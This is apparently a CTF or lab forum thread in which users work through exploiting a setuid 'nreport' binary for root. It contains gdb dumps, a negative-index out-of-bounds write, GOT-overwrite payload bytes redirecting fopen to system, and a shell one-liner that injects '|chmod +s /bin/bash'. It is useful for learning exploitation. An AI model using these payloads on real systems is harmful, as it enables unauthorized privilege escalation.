by creating 17 new messages, the 18th message's title portion can overwrite the reference at 0x4041a8 however, this place will be overwritten with a reference to where the title's value is stored. and $rdi doesn't read it as a reference.so, the next line when calling system will execute the reference (the address to the title), rather than the title's value itselfsee my gdb output below0x4041a8 : "\340c@"(gdb) x/16x $rdi0x4041a8 : 0xe0 0x63 0x40 0x00 0x00 0x00 0x00 0x000x4041b0 : 0x73 0x74 0x20 0x55 0x73 0x65 0x64 0x20(gdb) x/w $rdi0x4041a8 : 0x004063e0(gdb) x/w *$rdi0x4063e0: 0x68732824(gdb) x/s *$rdi0x4063e0: "$(sh)"any nudge on where to progress from here?

(June 17, 2022, 07:15 PM)yournamehere Wrote: I thought I was close to root , but when you break through a wall you hit another one! oh men !

hey bro, did you get any further? 

i'm still stuck on finding a place to overflow. The heap address is at a higher address than
  0x4041b0 <userinfo1+40>:        "Last Used On $(date)\" >> /var/log/kreport"

when creating 18 msg to overflow the message_array, the address can only be overwritten with a reference to where the 18th title value is stored.

i saw how undeadly mentioned that edit() performs no boundary checking, but i haven't been able to find a way for this to overwrite anywhere that's beyond the message_array's address range.

Hi bro

Yep got root !
you can write /edit : access/ into a quite wide address space , including the one before userinfo1
What you provide as a message number is just an offset from 0x404120 which is the base address of message_array.
this offset can be negative ;-)
all you need is a pointer to a writable location inside the app address space. And there is such a pointer

(July 6, 2022, 05:42 PM)yournamehere Wrote: Hi bro

Yep got root !
you can write /edit : access/  into a quite wide address space , including the one before userinfo1
What you provide as a message number is just an offset from 0x404120 which is the base address of message_array.
this offset can be negative ;-)
all you need is a pointer to a writable location inside the app address space. And there is such a pointer

thanks, i got further. i can edit with -2 and control the $rdi to (seemingly) free an address

Enter number to edit: -4
Message Title: aaaaaaaaaaaaaaaaaaaaaaaa01234567

Program received signal SIGSEGV, Segmentation fault.
__GI___libc_free (mem=0x3736353433323130) at malloc.c:2928
2928    malloc.c: No such file or directory.

so i tried the following steps

login()
add('1', '1')
edit('-2', 'a'*8*3 + '\xa8\x41\x40\x00\x00\x00\x00\x00') # this is aiming for 0x4041a8 <userinfo1+40>

but i don't think i can reclaim the freed address and write something to it, or can it?

(July 8, 2022, 12:16 PM)meowmeowattack Wrote:

(July 6, 2022, 05:42 PM)yournamehere Wrote: Hi bro

Yep got root !
you can write /edit : access/  into a quite wide address space , including the one before userinfo1
What you provide as a message number is just an offset from 0x404120 which is the base address of message_array.
this offset can be negative ;-)
all you need is a pointer to a writable location inside the app address space. And there is such a pointer

thanks, i got further. i can edit with -2 and control the $rdi to (seemingly) free an address

Enter number to edit: -4
Message Title: aaaaaaaaaaaaaaaaaaaaaaaa01234567

Program received signal SIGSEGV, Segmentation fault.
__GI___libc_free (mem=0x3736353433323130) at malloc.c:2928
2928    malloc.c: No such file or directory.


so i tried the following steps

login()
add('1', '1')
edit('-2', 'a'*8*3 + '\xa8\x41\x40\x00\x00\x00\x00\x00') # this is aiming for 0x4041a8 <userinfo1+40>


but i don't think i can reclaim the freed address and write something to it, or can it?

forget abt python on this one. UTF 16 isn't our friend here. just find that sweet pointer

(July 8, 2022, 07:45 PM)yournamehere Wrote:

(July 8, 2022, 12:16 PM)meowmeowattack Wrote:

(July 6, 2022, 05:42 PM)yournamehere Wrote: Hi bro

Yep got root !
you can write /edit : access/  into a quite wide address space , including the one before userinfo1
What you provide as a message number is just an offset from 0x404120 which is the base address of message_array.
this offset can be negative ;-)
all you need is a pointer to a writable location inside the app address space. And there is such a pointer

thanks, i got further. i can edit with -2 and control the $rdi to (seemingly) free an address

Enter number to edit: -4
Message Title: aaaaaaaaaaaaaaaaaaaaaaaa01234567

Program received signal SIGSEGV, Segmentation fault.
__GI___libc_free (mem=0x3736353433323130) at malloc.c:2928
2928    malloc.c: No such file or directory.


so i tried the following steps

login()
add('1', '1')
edit('-2', 'a'*8*3 + '\xa8\x41\x40\x00\x00\x00\x00\x00') # this is aiming for 0x4041a8 <userinfo1+40>


but i don't think i can reclaim the freed address and write something to it, or can it?

forget abt python on this one. UTF 16 isn't our friend here. just find that sweet pointer

thanks for your patience, yet i'm a bit stuck on the next move here:
should i aim to find a pointer that writes to 0x4041a8 <userinfo1+40> and let the system call in option 5 to trigger it?
or should i write to the message_array space first using option 1 and overflow the edit title part to trigger an execution of the message_array space?0x4041a8 &lt;userinfo1+40&gt;
or is there another plan of attack?

further exploration reveals that many of the got.plt can be overwritten to a certain extend. e.g [email protected] with -1804 as index for edit. but none of them can be overflown into the userinfo1 space. is this the right way to proceed?0x404020 : 0xf7aa5d70 0x00007fff 0x00401050 0x000000000x404030 : 0xf7abd360 0x00007fff 0x00401070 0x000000000x404040 : 0x00401080 0x00000000 0xf7a8cd70 0x00007fff0x404050 : 0xf7aa4140 0x00007fff 0x004010b0 0x000000000x404060 : 0x004010c0 0x00000000 0xf7aa3e00 0x00007fff0x404070 : 0x004010e0 0x00000000 0xf7a71180 0x00007fff0x404080 <[email protected]>: 0xf7aa1cc0 0x00007fff 0xf7ad3e10 0x00007fff0x404090 : 0x61616161 0x61616161 0x61616161 0x61616161 0x4040a0: 0x61616161 0x61616161 0x61616161 0x61616161 0x4040b0: 0x61616161 0x61616161 0x61616161 0x61616161 0x4040c0 : 0x00000012 0x00000001 0x00000012 0x000000040x4040d0 : 0x00000042 0x00000014 0x00000006 0x0000001f0x4040e0 : 0x00000007 0x00000016 0x00000001 0x000000100x4040f0 : 0x00000040 0x00000000 0x00000000 0x000000000x404100 : 0xf7dd5600 0x00007fff 0x00000000 0x000000000x404110 : 0xf7dd48c0 0x00007fff 0x00000000 0x000000010x404120 : 0x00000000 0x00000000 0x00000000 0x000000000x404130 : 0x00000000 0x00000000 0x00000000 0x000000000x404140 : 0x00000000 0x00000000 0x00000000 0x00000000

(June 17, 2022, 07:15 PM)yournamehere Wrote: I thought I was close to root , but when you break through a wall you hit another one! oh men !

i see what you meant there, i think i'm also hitting the "another wall". i was crafting the exploit by running nreport from cmd, rather than using socat.....

(July 14, 2022, 12:12 AM)meowmeowattack Wrote:

(June 17, 2022, 07:15 PM)yournamehere Wrote: I thought I was close to root , but when you break through a wall you hit another one! oh men !

i see what you meant there, i think i'm also hitting the "another wall". i was crafting the exploit by running nreport from cmd, rather than using socat.....

shouldn't be a problem as we interact with the app prompt. Did you find the pointer I mentioned ?
Had a chat with Cryptocat , he told me we should be able to overwrite the GOT as we have partial RELRO but for some reason it doesn't work here

(July 14, 2022, 12:10 PM)yournamehere Wrote:

(July 14, 2022, 12:12 AM)meowmeowattack Wrote:

(June 17, 2022, 07:15 PM)yournamehere Wrote: I thought I was close to root , but when you break through a wall you hit another one! oh men !

i see what you meant there, i think i'm also hitting the "another wall". i was crafting the exploit by running nreport from cmd, rather than using socat.....

shouldn't be a problem as we interact with the app prompt. Did you find the pointer I mentioned ?
Had a chat with Cryptocat , he told me we should be able to overwrite the GOT as we have partial RELRO but for some reason it doesn't work here

hi there, 

the way i'm currently doing is like this: overwrite printf and overflow into fopen with a ref to system, so that fopen can execute the info stored in userinfo1 + 0x8c, which can be something like | touch poc, this will be executed.

overflow_padding = b'\x00'*(4*9)
printf_got = b'\x7c\x15\x40\x00' # overwrite with report
# set {long}0x404088=0x0040157c
fopen_got = b'\x80\x11\x40\x00' # overwrite with system
# set {long}0x404070=0x00401180
payload = printf_got + overflow_padding + fopen_got

however, this only works if i run nreport without socat, i can also reproduce this using pwntools

python -c "print('UiBXpthJzfNyBk
' + '|chmod +s /bin/bash
' + '1
1
1
'); print('3
' + '-1831
'); print('\x7c\x15\x40\x00' + '\x00'*(4*9-1) + '\x80\x11\x40\x00');" | /usr/local/bin/Nreport/nreport

but it doesn't work when running via socat, even though when debugging the process everything seems to be same as running without the socat

server = process(['socat', 'tcp4-listen:9851,reuseaddr,fork,bind=127.0.0.1', 'exec:/usr/local/bin/Nreport/nreport,pty,stderr'])
sleep(1) # Wait for socat to start
p = remote('127.0.0.1', 9851)
sleep(1) # Wait for process to fork

any more nudge?